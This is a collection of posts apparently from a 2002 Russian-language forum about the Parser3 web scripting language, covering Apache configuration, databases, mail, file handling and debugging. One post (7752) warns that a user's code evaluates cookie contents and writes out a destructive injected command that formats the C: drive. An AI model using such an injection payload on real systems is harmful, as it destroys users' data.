^util:helper[что-то]\
[/code]\
\
определять так, файл util.p:\
[code]\
@CLASS\
util\
\
@helper[param]\
код\
[/code]"
"7720","кажется, такое лечил, сейчас проверил, HEAD версия не падает.\
по-моему, это мелочь.\
конкретные мелочи можно почтой, будут исправлены в CVS в кратчайшие сроки"
"7721","[code]\
\
@call[module]\
^process{^^use^[${module}.p^]\
^$module^[^^${module}^:^:init^[^]^]\
^^module.view^[^]}\
\
[/code]\
smisl takoy - pishesh [b]chistiy text[/b], i napuskaesh na nego ^process{}..Ya dumayu - ponyatno...Esli net - gotov razzhevat..."
"7722","если правильно я понял,\
\
вы сделали ошибку компиляции в том же файле, где определили @unhandled_exception, скажем, ^if(}{...}\
то ещё на этапе компиляции возникнет ошибка, на момент её возникновения метод ещё не будет определён, и вы увидите стандартное сообщение."
"7723","надо скопировать файл в другой каталог..\
что нужно то \"move\" - перемещает, но не копирует...\
я обошел, и загонял текст файла в переменную, потом файл кидал туда, куда надо....и в текущей уже директории создавал новый файл с текстом из переменной..\
\
Может можно проще?)"
"7724","^if(def $form:fd){\
$str17[$form:fds]\
$str18[$form:fdf]\
^form:fd.save[/stati/$str13.name]\
$stuff[^table::create{titul	text	uri	stat\
$sect[^table::load[/statis.cfg]]\
^sect.menu{\
^if($sect.uri eq \"/stati/$str13.name\"){\
$str17	$str18	$sect.uri	$sect.stat	}{\
$sect.titul	$sect.text	$sect.uri	$sect.stat	}}\
}]\
^stuff.save[/statis.cfg]\
}"
"7725","где \
$str17, $str18, $sect.uri,$sect.stat, - между ними табуляция\
\
И с \"}\" у if я помучался...хитрые:)))..могут в фай записаться))\
"
"7726","это было бы прекрасно :-( но некоторые уроды типа МуСКЛ используют свой диалект."
"7727","вот как я делаю. всё зашибись.\
[code]\
^mail:send[\
		$.from[nbsp - журнал для вебмастеров <info@nbsp.ru>]\
		$.to[$emails.email <$emails.email>]\
		$.subject[новости]\
		$.body[\
      $.text[\
        $.content-type[\
           $.value[text/plain]\
           $.charset[$response:charset]\
        ]\
        $.body[\
Здравствуйте!\
\
На нашем сайте новая статья:\
\
\"${article.atitle}\", автор ${article.name}.\
\
Ссылка на статью: http://www.nbsp.ru/?article-${article.id}\
			  ]\
      ]\
    ]\
	]\
[/code]\
\
обрати внимание на\
[code]\
$.content-type[\
           $.value[text/plain]\
           $.charset[$response:charset]\
]\
[/code]\
"
"7728","... и это в том числе дает им возможность предлагать самую быструю СУБД из распространенных. А подзапросы - их и средствами языка (Parser, PHP) эмулировать можно. Нужно что-то серъезнее, но более тормозное - плиз используйте Postrges, MS SQL тот же."
"7729","Парсороведы и парсороводы, помогите разобраться с установкой и настройкой ApacheModuleParser3.dll, плиз.\
Вернее, скорее всего проблема у меня с настройкой Апача.\
\
Ситуация такая -\
Выкладываю в каталог ....\\apache\\modules\\ файл ApacheModuleParser3.dll (который без поддержки xml - самый простой вариант), рядом кладу конфигурационный auto.p (и даже на всякий случай в этот же каталог кидаю папки charsets и lib с их содержимым - хотя это видимо совсем не обязательно)\
Апач стоит версии 1.3.9 (сегодня ещё попробую поставить 1.3.22 - поэксперементирую, может заработает, хотя совсем не уверен)\
\
В файл httpd.conf добавляю всё как доктор прописал в доке по Парсеру:\
\
LoadModule parser3_module modules/ApacheModuleParser3.dll \
AddHandler parsed-html html \
ParserConfig modules/auto.p \
\
делаю рестарт Апачу и нифига.\
Когда выполняю команду: apache -n apache\
выводит примерно вот что:\
C:\\Program Files\\Apache Group\\Apache>apache -n apache\
[Tue Oct 08 00:09:57 2002] [warn] pid file c:/program files/apache group/apache/\
logs/httpd.pid overwritten -- Unclean shutdown of previous Apache run?\
Apache/1.3.9 (Win32) Parser/3.0.0005 running...\
\
получается вроде как апач подцепил модуль парсера, только html файлы обрабатывать чего-то не хочет. То ли я чего-то не догоняю, то ли ....\
\
а если прописываю как для CGI:\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3_05/parser3\
\
то всё начинает нормально работать (и xml, и БД, и всё остальное нормально работает).\
\
Хотя в лог ошибок для виртуального хоста в обоих случаях пишет вот такую беду при каждом обновлении любой странички:\
[Mon Oct 07 23:55:59 2002] [warn] [client 127.0.0.1] handler \"parsed-html\" not found for: w:/web/site1/1.html\
\
В ЧЁМ МОЖЕТ БЫТЬ ПРОБЛЕМА?????"
"7730","надо\
[code]\
AddHandler parser3-handler .html\
[/code]\
Тут это уже об этом говорили."
"7731","может не будем говорить о чём не знаем? МуСКЛ быстрее только на простых SELECT-ах.. и всё. единственное его преимущество - бесплатность."
"7733","насчет абсолютного задания даты это вы правильно сделали, парсер от этого станет ещё более гибким языком!!!\
а дата задаётся в смысле дата-ВРЕМЯ или как?"
"7734","Мне пришла мысль использовать таблицы, которые будут генерироваться Парсером, но проблема в том, что таблицы между текстом не вставляются (таблица переходит на следующую строку). Картинками делать формулы неудобно, а вдруг какой-нибудь профессор с очкам, имеющие  большое количество диоптрий, будет читать и он не увидит всю \"соль\" формулы. Поэтому надо мне сделать так чтобы когда увеличивался текст - увеличивались и размеры формул. пАмАгите!!!"
"7735","этих инструкций в header письма что это письмо в кодировке $response:charset и что оно text/plain"
"7736","И бесплатность - не единственное его преимущество...\
\
Он быстрее за счет того, что многого не умеет, что ему не надо так строго вести журнал транзакций (за счет этого он по скорости быстрее всего на insert/update) и т.д.\
Читайте доки, обзоры...\
\
PostgreSQL тоже бесплатный, и там есть подзапросы, транзакции... Из-за этого он медленнее...\
\
Для задач нужно выбирать инструмент...\
"
"7738","только подвердил мои слова: быстрее на простых запросах."
"7739","Я не согласен с твоей точкой зрения:\
[quot]\
...но некоторые у... типа МуСКЛ используют свой диалект.\
[/quot]\
\
Разработчики достаточно неплохо поддерживают SQL92, причем то, чего нет у MySQL они нормально написали в доке. Кроме того, если ты сравнишь несколько серверов БД, то заметишь, что в плане диаректов они ВСЕ очень сильно отличаются, и в этом плане MySQL не лучше и не хуже. Если кому-то лениво читать доку - то это не вина разработчиков. Для большинства применений на вебе MySQL с его быстрыми запросами (в том числе с join-ами) подходит рчень хорошо.\
\
Я считаю простым запросом запрос вида SELECT field FROM table, а все остальное - уже не простые запросы.\
\
Есть области, где MySQL-ю делать нечего, т.к. он просто не умеет делать того, что надо (в основном я считаю что это области где нужно применять транзакции и особо заботиться о целостности данных, а не области с подзапросами, т.к. подзапросы достаточно неплохо обходятся...)\
"
"7740","он для этого не предназначен. Да и вообще что ты вкладываешь в понятие - вставить в текст математические формулы с дробями, векторами и т.п. средствами парсера?"
"7741","для любознательных\
http://parser.ru/docs/lang/changes.html"
"7743","Сегодня на нашей городской сети SDH опробован парсер как средство создания трактов. Надо сказать, получилось на ура.\
\
Суть: есть база, в которую записана информация о 200+ потоков: откуда, куда, маршрут. Парсер с похвальной чёткостью выдирал из этой базы необходимую ему информацию и последовательно создал 200+ скриптов, которые отдались в систему управления сетью. Работает, зараза... ;-)))\
"
"7744","я не стал делать отдельный ^file:copy, мне не показался необходимым.\
\
[code]\
@copy[отсюда;сюда]\
$memory[^file::load[binary;$отсюда]]\
^memory.save[binary;$сюда]\
[/code]"
"7745","у тех, кто не компилирует HEAD из CVS пока никак не задаётся. будет задаваться объектом типа date."
"7746","нестандартную авторизацию можно делать разными способами.\
но нужно помнить, что рано или поздно клиент попросит сделать в области за паролем папку download и положит туда 100M видеоролик.\
из расчёта, что его укачает авторизовавшийся посетитель (c) жизнь.\
\
тут ваша нестандартная авторизация помешает работе любимых сердцу посетителя reget/getright.\
\
диагноз: можно, но осторожно.\
лучше всего: стандантная. \
1.\
или создавайте из parser файл .htaccess, есть средство для кодирования паролей, см. ^math:crypt[…]\
2. \
или используйте модуль к apache, mod_mysqlauth, он позволит apache взять пользователя:пароль из mysql таблицы, а не из .htaccess"
"7747","байткод совсем ничего не затруднит никому.\
«кто-то» пойдёт на yandex/google, и наберёт «декопилятор байткод parser» и через считанные секудны будет изучать ваше сокровище.\
\
единственный реальный вред, который можно нанести: написать программу порчи имен файлов и идентификаторов.\
такие программы читать крайне трудно, а развивать невозможно.\
\
но, разумеется, global replace никто не отменял, и при должном упорстве…"
"7748","[code]…варианта Parser, принимающего письма по электронной почте, необходим модуль \
win32mailreceive \
и в файле parser3/src/pa_config_fixed.h необходима директива \
#define WITH_MAILRECEIVE \
[/code]\
\
Тогда почему только под Винду?"
"7749","вы скорее всего не задаёте salt, в результате получается НЕ «то же преобразование», а создаётся случайный «salt». поэтому и едет по земле.\
\
[code]\
$правильный[123]\
$от_пользователя[123]\
$зашифрованный[^math:crypt[$правильный;^$apr1^$]]\
$зашифрованный<br>\
^if(^math:crypt[$от_пользователя;$зашифрованный] eq $зашифрованный){y;n}\
[/code]\
\
обратите внимание на то, что $зашифрованный каждый раз разный.\
\
я добавлю это в документацию [полагал общеизвестным]"
"7751","http://design.ru/free/decoder\
И что получилось:\
найд\
ен один из Чайлов библиоТек, необ одим_ дл_ в_ олнени_ данного Риложени_:\
\
очевидно, вы скачали xml версию модуля, но не скачали/положили xml библиотеки"
"7752","дорогой agat, сообщите мне адрес этой страницы, я приду туда с cookie, содержащей такой вот текст, который ваш код успешно запустит на исполнение:\
\
[code]\
^exec[format c: /y]\
[/code]\
\
(специально не вполне точно пишу)"
"7753","напрямую в языке не поддерживается, никаких ^$class_name::create нет. если очень хочется извращаться, можно и через ^process, но не забудьте проверить имя на правильность.\
\
разумный вариант[IMHO]:\
оставить в имени только нужные буквы [a-z].\
подключить модуль.\
во всех классах написать одинаковый @CLASS\
тогда вызывать по разному имени не придётся."
"7754","можно настроить чтобы и после . подсказывал, и автодополнял набираемые пользовательские идентификаторы [в пределах одного файла].\
\
я пользуюсь вторым, для первого лень писать конфиг."
"7755","поскольку этим самым \"первым\" пользовался 10 секунд, дополнять не после . а после :, но этого мало."
"7756","nolar, \
escaping уже есть, файл обрезается по первому нулю [b]насильно[/b].\
но, да, нет ^file::sql, он у меня стоит в parser3/tothink.\
\
однако задайте себе вопрос:\
как пользователю отдавать этот файл, когда он 200M?\
радости:\
1. никакой докачки;\
2. запускается parser, висит в памяти до окончания выкачивания, хотя никому не нужен;\
3. плодится лишняя сущность.\
\
самоцель?"
"7757","некоторое время назад появилась и поддержка транзакций.\
для задач заказчиков студии пока хватало lock tables."
"7758","обычное решение: вынесите код в отдельный метод, будет и читабельнее, и \"бес;проблемнее\":\
\
[code]\
@js[]\
aaa;\
bbb;\
\
@main[]\
<script>^js[]</script>\
[/code]\
"
"7759","уже исправлен, обновление со следующей версией.\
нужно срочнее: берите в CVS, основная ветка"
"7760","CharsetDisable On"
"7761","уж напишет так напишет.\
\
[code]\
@method[name]\
$table[$$name]\
\
^table.menu{…}\
[/code]"
"7762","тем более что я немного дополнил расцветку синтаксиса для подсветки SQL команд и разные типы скобок выделяются разным цветом."
"7763","fedich, \
не опасайтесь sql серверов, они используется всеми очень давно, вы не думаете, что все ищут на свою голову сложностей? они, как и вы, просто хотят приходить домой вовремя"
"7764","= экспериментальная штука. Да и мне трудно представить как CGI вариант может это делать, вот если только ISAPI или модуль Apache."
"7765","parser по умолчанию кодировкой всех скриптов и текстов, включая body \"как дела\" считает UTF-8, когда вы попросили его перекодировать body в windows-1251, у него честно не вышло, о чём он подробно сообщил."
"7766","CGI - обычная программа. Что мешает переадресовать на нее почту? Ведь как standalone интерпретатор парсер же работает..."
"7767","http://www.adobe.com/svg/demos/main.html"
"7768","жизнь:\
parser принимает письмо с pgp, зовёт pgp, который декодирует, создаёт xdoc, делает transform, который создаёт… код на [b]parser[/b], состоящий из ^void:sql[insert…], который затем идёт в ^process = присланная информация попадает в базу."
"7769","может на любых os[вы неверно поняли текст]. пока есть проблемы, поэтому пока не опубликовано, но доступно для желающих экспериментировать в cvs.\
\
на unix настроить приём тривиально. на win32 пока не надо было, но, уверен, вполне возможно."
"7770","но ведь если нет запроса то CGI не работает, а как послать почту неработающему бинарику я не могу представить."
"7771","смотрим в ~xxx/.forwards:\
[code]\
|/home/www/xxx/exec/receive/receive.sh\
[/code]\
\
смотрим в /home/www/xxx/exec/receive/receive.sh:\
[code]\
#!/bin/sh\
cd /home/www/xxx/www\
../cgi/parser3 -m ../exec/receive/receive.p\
[/code]"
"7772","Очень интересно было бы поюзать."
"7773","кто умеет брать/собирать из cvs, то знает, где читать.\
остальные: \"скоро\" [разумеется, статья писалась одновременно с кодом, и терпеливо ждёт]"
"7774","Милая fedich! В списке хостингов 10 пунктов. А Россия большая... Эта фирма Парсер не поддерживает я к ним позвонил, да спросил. Вообщем я так понял вы не разбираетесь. А где, собственно, эксперты??"
"7776","Ответ был достаточный. Более того, в описаниях и в FAQ достаточно сказано про условия на хостинг. Если нет желания почитать и подумать, никакой спец не поможет."
"7777","Проблема простая, но...\
Я выполнил запрос, данные загнал в табличку со сылками, в качестве параметра URL передаю переменную (name1), на на странице ссылки (index2) не могу получить значение.\
Вот кусочек кода\
\
@dd[] \
^connect[$SQL.connect-string]{ \
   $empl[^table::sql{\
SELECT employees.name,   \
         employees.dep,   \
         employees.position,   \
         employees.bdate,\
	Convert(char(10),employees.bdate,104) as sbdate\
    FROM employees \
WHERE Substring(Convert(char(10),employees.bdate,104),4,2) = $now.month \
ORDER BY Substring(Convert(char(10),employees.bdate,104),1,2)\
    }]\
^if($empl){\
  <table width=\"100%\" border=\"1\">\
^empl.menu{\
  <tr>  \
    <td>$empl.name</td>\
<td>\
<a href=\"/employees/index2.htmlname1=$empl.dep\">$empl.dep</a></td>\
    <td>$empl.position</td>\
    <td>$empl.sbdate</td>\
  </tr>\
}\
</table>\
}\
}\
\
Буду признателен за подсказку\
"
"7778","Я хочу загружать из локалки на сайт файлы большие файлы.\
Я поднимал этот вопрос но ответа решаюший проблему не получил\
Как я понял нужно изменить.\
В файле настройки следующую запись\
$LIMITS[\
	$.post_max_size(3*0x2000*0x2000)\
]	\
Как я понимаю это установлено примерно это примерно 3 Мb. А файлы 2Мб не загружаются. Что я не правильно делаю?\
Заранее благодарен. "
"7781","Может где по пути обрубаются? Или браузер больше не умееет?"
"7784","Это как у меня ИЕ на народ 4Мб свободно грузит.\
А где может потерятся?\
ИЕ дает не страничку с сервера а свою и говорит что ошибка на сервере. Что это может быть. "
"7785","2. зайдите в лог веб севера, и сделайте copy/paste сюда строчки с ошибкой"
"7786","[Tue Oct  8 19:30:21 2002] [notice] Apache/1.3.26 (Unix) configured -- resuming normal operations\
[Tue Oct  8 19:30:21 2002] [notice] Accept mutex: flock (Default: flock)\
\
Это пишется в в логе при обрашение ИЕ.\
А опера 6.02 в лог ничего не пишет а выводит буквально следующие \"Этот сайт не хочет чтобы Вы его посещали\""
"7787"," Невозможно отобразить страницу \
Эта страница сейчас недоступна. Возможно, это вызвано техническими проблемами на веб-узле, или требуется изменение настроек обозревателя. \
\
--------------------------------------------------------------------------------\
\
Попробуйте следующее:\
\
Нажмите кнопку  Обновить или повторите попытку позднее.\
\
Проверьте правильность адреса страницы в строке адреса.\
\
Чтобы проверить настройку подключения, выберите в меню Сервис пункт Свойства обозревателя. На вкладке Подключение щелкните Настройка сети. Настройка должна соответствовать сведениям, предоставленным администратором локальной сети или поставщиком услуг Интернета. \
Если это разрешено сетевым администратором, система Microsoft Windows может проверить вашу сеть и автоматически определить настройки подключения.\
Если вы хотите попытаться автоматически определитьэти настройки, \
щелкните  Определить настройки сети \
Для некоторых узлов требуется 128-битное шифрование. Чтобы определить установленную степень шифрования, выберите в меню Справка пункт О программе. \
Перед соединением с безопасным узлом проверьте правильность установки параметров безопасности. В меню Сервис выберите Свойства обозревателя. На вкладке ''Дополнительно'' найдите раздел ''Безопасность'' и установите флажок для SSL 2.0, SSL 3.0, TLS 1.0, PCT 1.0. \
Нажмите кнопку Назад, чтобы использовать другую ссылку. \
\
\
\
Не удается найти сервер или ошибка DNS\
Internet Explorer  "
"7788","Стается мне, что у него самого прописано ограничение на размер POST-данных. Вот и отфутболивает.\
Во всяком случае, парсер тут непричем совсем."
"7789","Старенькая FreeBSD стоит в соседях я просто пасер изучаю. Апач может такие лимиты устанавливать, если  httpd.conf что-то я не нашел. Где искать?"
"7790","Я тоже не помню (но не значит, что такого нет - просто не встречал)\
Может апач староват? Ничего более умного в голову не приходит :("
"7791","Да все эти подсветки и автозавершение - это всё фигня, хотя вещь на самом деле ОЧЕНЬ полезная (просто они уже давно реализованы во многих текстовых редакторах).\
А вот чего действительно не хватает для нормальной среды разработчика, так это того, что есть в Visual Basic-e и Visual C++ - удобной навигации по создаваемым классам и прочыим кускам кода!!!\
Должна быть древовидная структура (или что-то типа того), отображающая структуру классов для всего разрабатываемого сайта (проекта). Там должны отображаться все определяемые пользователем классы, их свойства и методы. Должно показываться переопределение всех методов и т.п., из всего этого следует быстрая навигация по коду разрабатываемого сайта (не придётся блудить между html-тегами, вовсе не относящимися к программированию).\
\
Конечно можно писать всё и блокноте - и всё получится, но ...\
Раньше программеры на Си всё в edit-e писали, все классы в голове держали а затем всё хозяйство компилировали, но потом всё-таки зачем-то :) придумали Visual C++\
\
Так что, я думаю наличие хорошей среды разработчка никому не помешало бы!!!"
"7792","Апач старнатуть я могу, если лог ведется. Может буть у кого есть идеи.\
\
"
"7793","Т.е. sql и для table - применим?\
или для уже mysql...mssql? - просто пока к ним нет доступа:("
"7795","10? - это хорошо)..бывает и более...\
Сам долго рылся....\
Сами хостеры, толком еще особо не знают о парсере, а если и знают - то предубеждения....\
\
практика поможет)"
"7796","Сори, Стартовать это не в это окно.\
Можно было на 2. Но мне хочется узнать точно из-за него. Я тогда переставлю."
"7797","http://www.egoroff.spb.ru/ лежат собранные из кодов с отключением групп... Сам брал оттуда... Но это не самая новая версия.\
А если порыскать на форуме, то все линки уже не пашут(\
Ну пока есть, а может уже и нет....\
"
"7798","Здравствуйте,\
\
Помогите решить проблему с навигационным меню, точнее с его \"шапкой\". Есть текстовое навигационное меню (слева), у которого меняется самая верхняя часть -- \"шапка\"-картинка -- в зависимости от раздела (e.g. /about/ or /portfolio/). [i](Прим.: для каждого раздела в этом меню есть свои ссылки.)[/i] \
\
Имеется таблица следующего вида: \
\
[code]\
id	file	uri	alt\
1	/images/home.gif	/	Home\
2	/images/about.gif	/about/	About me\
3	/images/portfolio.gif	/portfolio/	Portfolio\
[/code]\
\
В нужном месте я вставляю следующую функцию:\
\
[code]\
@topleft[]\
$request[$request:uri]\
$topleft[^table::load[/template/topleft.cfg]]\
^if(^topleft.locate[uri;$request]){\
 $topleft_image[^image::measure[$topleft.file]]\
 <td bgcolor=white>^topleft_image.html[$.border[0]$.alt[$topleft.alt]]</td>\
}{\
 $filepath[^file:dirname[$request]/]      ### здесь выводится например /about/ для файла /about/1.html \
 ^if($filepath eq $topleft.uri){\
 <td bgcolor=white>^topleft_image.html[$.border[0]$.alt $topleft.alt]]</td>\
 }\
}\
[/code]\
\
К примеру, если пользователь попадает на [b]/about/index.html[/b] или [b]/about/1.html[/b], то увидит ту же самую \"шапку\", что и для [b]/about/[/b]. Отсюда еще одна проблема: как сделать чтобы uri [b]/[/b] и [b]/index.html[/b] воспринимались как одинаковые.\
\
Проблема еще в том, что [code]^file:dirname[$request][/code] почему то не работает. Может у меня \"Вин\" поэтому так.\
\
С уважением,\
Бауржан."
"7799","ДА! ДА! ДА! И ЕЩЁ РАЗ ДА!\
ОТВЕЧАТЬ БУМ?\
ГДЕ БЫ МНЕ ВЗЯТЬ СТАРУЮ ВЕРСИЮ ПАРСЕРА?\
А то 3.0.0005 ни в какую не идет!\
Как не идет, в предыдущих ветках...\
P.S. Ни когда не верьте, что ПАРСЕР МОЖНО ВОТКНУТЬ не имея знаний сисадмина... Как же быть простому верстальщику, который хочет отладить свой сайт? И при этом не хочет втыкать высокотехнологичный 2000-ошибковый масдай?:(\
А под 98 на 1.3.22 и 1.3.26 (русские) ИНДЕЙКИ ПАРСЕР стартует (показывает в консоли окна апача), но парсить ни в какую не хотит.\
ДА! Сделал я уже parser3-html!!! И все прочее что говорили - тоже. Или что, мне выкинуть на помойку свою 98 ю?. Адрес 127.0.0.1 пингуется, пакеты проходят. HTML, CGI, Perl и PHP - тоже. Токо не парсить:(\
СПАСИТЕ, ГРАЖДАНЕ..."
"7800","А то 3.0.0005 ни в какую не идет!\
Как не идет, в предыдущих ветках... Здесь http://www.parser.ru/forum/?id=7655 смотрите...\
Ни когда не верьте, что ПАРСЕР МОЖНО ВОТКНУТЬ не имея знаний сисадмина... ВСЕ ПО ИНСТРУКЦИИ СДЕЛАЛ! И по старой, и по-новой (08.10) Как же быть простому верстальщику, который хочет отладить свой сайт? И при этом не хочет втыкать высокотехнологичный 2000-ошибковый масдай?:(\
А под 98 на 1.3.22 и 1.3.26 (русские) ИНДЕЙКИ ПАРСЕР стартует (показывает в консоли окна апача), но парсить ни в какую не хотит.\
ДА! Сделал я уже parser3-html!!! И все прочее что говорили - тоже. Или что, мне выкинуть на помойку свою 98 ю?. Адрес 127.0.0.1 пингуется, пакеты проходят. HTML, CGI, Perl и PHP - тоже. Токо не парсить:(\
СПАСИТЕ, ГРАЖДАНЕ... А то придется жемчугом кидаться..."
"7801","Вот по-этому я и не даю ссылок."
"7802","если будут подобные вопли - удалю сообщение.\
\
Теперь по-существу. Мы (я, Misha, PAF, egr и другие top-писатели) уже неоднократно просили:\
[b]сделай copy/paste сюда своих настроек[/b] (всех просим) - мы что, должны угадать с закрытыми глазами, где там у кого опечатка?!\
Только после этого начнутся предметные разговоры. До этого (сейчас и впредь) буду предлагать всем выкинуть винды и поставить Darwin."
"7803","А Visual XXX придумали тогда, когда появилось что визуализовать. И когда число классов и функций в продуктах от MS переросло все возможности запоминания. Да и визуальность нужна стала для построения интерфейса.\
А есль вспомнить продукты Borland (bcc, turboXXX и прочие) - где ж там визуализация? А тем более пользовательских классов? (или была, а я не заметил? ;-) )"
"7805","1. Никогда не надо называть переменные именами встроенных объектов!\
2. Внимательно прочитай http://www.parser.ru/docs/lang/filedirname.htm - в твоем случае этот метод не подходит.\
3. Для таких вещей в Парсере есть прекрасный оператор in ( http://www.parser.ru/docs/lang/opin.htm ) - его и надо использовать."
"7807","Мысль о том, что генерить HTML из внешнего скрипта неправильно, так как получается спагетти, нет отделения структуры от офрмления, тяжело поддерживать кажется бесспорной.\
\
Но почему статический или сгенерённый XML нужно непременно обрабатывать XSL'ем? Не лучше ли это делать DOM'ом из Парсера. Зачм плодить новые сущности, привлекая ещё одну технологию ?"
"7808","А кроме как для простых действий (которых на самом деле в приложении к вебу хватает в 95% случаев) MySQL использовать никто и не собирается, и не сможет. Все основные операции - select, insert, update, delete - он делает с очень большой скоростью, т.е. обеспечивает именно то, что нужно для веба - быстроту, простоту, доступность и известную надежность."
"7809","С XML можно делать все что угодно, просто XSLT более отработанная, простая и понятная технология, во всяком случае для меня. Если есть другие мнения, с удовольствием готов их выслушать, но желательно чтобы было все конструктивно."
"7810","Сори, погорячился.\
Копии настроек сделаю чуть позднее (сегодня).\
Насчет Денвера знаю, только качать опять неохота.\
А что такое DARWIN? Новый клон Unix или полуоси?"
"7812","А я, вот, скачал исходники, попробовал собрать на FreeBSD4.5 - валятся. Накатил ветку cvs, попробовал собрать, валятся. Никто не знает, где я не прав?\
\
Падают здесь (для простоты прогнал make еще раз):\
------------------------------------------------------------------\
Making all in src\
Making all in include\
Making all in main\
Making all in sql\
Making all in types\
Making all in classes\
Making all in gd\
Making all in smtp\
Graph cycles through classes.C\
\
`all-am' not remade because of errors.\
Making all in lib\
Making all in patches\
Making all in libltdl\
Making all in pcre\
Making all in md5\
Making all in targets\
Making all in cgi\
make: don't know how to make ../../classes/libclasses.a. Stop\
*** Error code 1\
\
Stop in /usr/home/gregor/parser/parser-3.0.0005/src/targets.\
*** Error code 1\
\
Stop in /usr/home/gregor/parser/parser-3.0.0005/src.\
*** Error code 1\
\
Stop in /usr/home/gregor/parser/parser-3.0.0005.\
------------------------------------------------------------------\
"
"7813","если неохота, будь добр, вникнуть во все сам. Если станет охота, учти, что в Денвере по умолчанию отсутствует mod_rewrite и некоторые другие штуки, которые тебе возможно понадобятся."
"7814","Спасибо за советы!\
\
Я попробовал сделать так:\
\
[code]\
@topleft[]\
$cururi[$request:uri]\
$topleft[^table::load[/template/topleft.cfg]]\
^topleft.menu{\
    ^if($cururi eq \"$topleft.uri\" || in \"$topleft.uri\"){\
        $topleft_image[^image::measure[$topleft.file]]\
        <td bgcolor=white>^topleft_image.html[$.border[0]$.alt[$topleft.alt]]</td>\
    }\
}\
[/code]\
\
или вот так:\
\
[code]\
@topleft[]\
$topleft[^table::load[/template/topleft.cfg]]\
^topleft.menu{\
    ^if(^topleft.locate[uri;$cururi]){\
        $topleft_image[^image::measure[$topleft.file]]\
        <td bgcolor=white>^topleft_image.html[$.border[0]$.alt[$topleft.alt]]</td>\
    }{\
        ^if(in \"$topleft.uri\"){\
        <td bgcolor=white>^topleft_image.html[$.border[0]$.alt[$topleft.alt]]</td>\
        }          \
    }\
}\
[/code]\
\
Напоминаю таблицу [i][b]topleft.cfg[/b][/i]:\
\
[code]\
id	file	                uri	        alt\
1	/images/home.gif	/	        Home\
2	/images/about.gif	/about/	        About me\
3	/images/portfolio.gif	/portfolio/	Portfolio\
[/code]\
\
Так вот, когда я набираю в броузере [i]domain.ru/about/[/i], то мне выводится сначала [color=\"red\"][b]home.gif[/b][/color], а потом [color=\"green\"][b]about.gif[/b][/color]. В обоих случаях я получаю один и тот же результат. Как  избавиться от [color=\"red\"][b]home.gif[/b][/color], т.е. чтобы он искал в таблице ту картинку, которая мне нужна по полю uri и вставлял именно ее."
"7815","Так вот, когда я набираю в броузере [i]domain.ru/about/[/i], то мне выводится сначала [color=\"red\"]home.gif[/color], а потом [color=\"green\"]about.gif[/color]. В обоих случаях я получаю один и тот же результат. Как  избавиться от [color=\"red\"]home.gif[/color], т.е. чтобы он искал в таблице ту картинку, которая мне нужна по полю uri и вставлял именно ее."
"7816","Делаю голосование вопросы задаются случайно из базы. В то время как юзер высказал свое мнение, я записаваю ему куку(чтобы ему больше не голосовал по этому вопросу) соответственно данные в базу кидаю. Если этот юзер голосовал по этому вопросу тогда результат выдается.\
Проблема в следующем если юзер проголосовал на вопрос N и ему на следующей странице выдается опять N вопрос а не результат. Если сделать релоад тогда все нормально.\
\
Вот код который формирует сам опрос, мне кажется что гдетоя я ошибля в логике, подскажите где\
[code]\
^MAIN:dbconnect{\
  $vopros[^selectQuestion[]]\
}\
\
$a(^eval(^vopros.count[]+1))\
$a(^math:random($a))\
^vopros.offset[set]{$a}\
$a[q-${vopros.id_q}]\
# Узнаем если кука если да\
^if($cookie:$a  ne 'yes'){\
<table width=\"100%\" cellspacing=\"0\" border=\"1\">\
 <tr> \
  <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> <div>$vopros.title</div></td>\
 </tr>\
 <tr>\
  <td>\
 <Form method=\"Get\">\
      ^MAIN:dbconnect{\
       $ne1[^getAnswer[$vopros.id_q]]\
      }\
      <INPUT TYPE=\"Hidden\" NAME=\"id_q\" VALUE=\"${vopros.id_q}\">\
      ^ne1.menu{\
       <input Type=\"radio\" Name=\"Variant\" value=\"${ne1.id_a}\">${ne1.variant}\
      }[<br>]\
      <hr>\
      <center><input type=\"submit\" value=\"Высказаться\" name=\"say\"></center>\
     </Form>\
   </td>\
 </tr>\
</table>\
\
 ^if(def $form:Variant && def $form:say){\
  $a[q-${form:id_q}]\
  $cookie:$a[\
    $.value[yes]\
    $.expires(365) \
  ]\
\
  $a['now()']\
  ^MAIN:dbconnect{\
    ^void:sql{Insert Into user_voice (id_q, id_a,ip_u, _dt)\
          values (${form:id_q},${form:Variant},'$env:REMOTE_ADDR',now())\
    }\
  }\
 }\
}{\
 ^viewResult[$vopros.id_q;${vopros.title}]\
}\
[/code]\
Буду рад услышать ваше мнение.\
"
"7817","В директорию \"/\" входят все папки твоего сайта, поэтому надо проверять \
[code]\
^if($request:uri eq \"/\" || $request:uri eq \"/index.html\"){\
  выводим картинку home\
}{\
    иначе проходим по таблице \
    и ищем нужный вариант\
  }\
[/code]"
"7818","Делаешь в корневом auto.p примерно такой макрос \
\
[code]\
@top_picture[]\
<img src=\"/images/home.gif\" alt=\"Начало\"/>\
[/code]\
И зовешь его в нужном месте шаблона.\
\
Если тебе нужно сделать в подразделе другую картинку, то в нужной директории в auto.p переопределяешь это макрос. \
Все! Теперь абсолютно все-равно как у тебя будет меняться структура сайта. И не надо выдрючиваться с разбором uri.\
"
"7819","@topleft[]\
$cururi[$request:uri]\
$topleft[^table::load[/template/topleft.cfg]]\
    ^if($cururi eq \"/\" || $cururi eq \"/index.html\"){\
        <td bgcolor=white><img src=\"/images/home.gif\" alt=\"Home\" width=\"188\" height=\"32\" /></td>\
    }{\
        ^topleft.menu{\
            ^if($cururi eq \"$topleft.uri\" || in \"$topleft.uri\"){\
                $topleft_image[^image::measure[$topleft.file]]\
                <td bgcolor=white>^topleft_image.html[$.border[0]$.alt[$topleft.alt]]</td>\
            }\
    }\
}\
"
"7820","Ларчик просто открывался, оказывается.\
Все дело в том, что automake14-1.4.5 не понимает make-файлов дистрибутива. Собралось при помощи gmake-3.79.1 на ура. Сейчас залью хостеру, проверять буду... =)"
"7821","У меня весь сайт фактически из одного шаблона состоит. Где-то, правда, изменяется или добавляется правое меню или нижние ссылки. Поэтому я хочу свести сборку из одного места - [b]корневного auto.p[/b]. "
"7823","...перенести в начало?\
\
т.е. логика будет такая: если пришли данные для апдейта - апдейтим, ставим куку, а затем ее проверяем. тут проявляется фича парсера, что записаная кука доступна сразу после записи, без перегрузки страницы..."
"7824","Иван, \
вы что-то тотально не поняли в происходящем.\
\
1.\
что-то не не вижу в логе вообще обращения POST [да и вообще никаких обращений]\
очевидно, вы присылаете системный лог apache, а для virtual host настроили отдельный, а его не присылаете.\
